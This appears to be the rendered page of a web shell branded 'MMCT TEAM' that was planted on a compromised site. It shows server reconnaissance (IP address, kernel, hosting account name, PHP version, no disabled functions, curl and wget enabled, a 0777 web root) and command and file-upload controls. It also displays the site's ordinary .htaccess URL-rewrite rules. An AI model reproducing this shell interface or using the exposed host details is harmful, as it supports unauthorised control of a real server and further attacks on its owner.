MMCT TEAM
Server IP : 82.112.239.40  /  Your IP : 216.73.216.81
Web Server : LiteSpeed
System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User : u641149403 ( 641149403)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0777) :  /home/u641149403/domains/uniformindia.co.in/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u641149403/domains/uniformindia.co.in/public_html/.htaccess
RewriteEngine On

# Remove .php from URLs
RewriteCond %{REQUEST_FILENAME}.php -f
RewriteRule ^([^/.]+)/?$ $1.php [L]

# Rewrite slug to product page without .php
RewriteRule ^product/([a-zA-Z0-9-]+)/?$ product-single.php?slug=$1 [L,QSA]

# Rewrite category slug URL to category page
RewriteRule ^category/([a-zA-Z0-9-]+)/?$ productsby_category.php?slug=$1 [L,QSA]


# Rewrite Parent Category slug URL to products page
RewriteRule ^([a-zA-Z0-9-]+)/([a-zA-Z0-9-]+)/?$ products.php?cat=$1&slug=$2 [L,QSA]







MMCT - 2023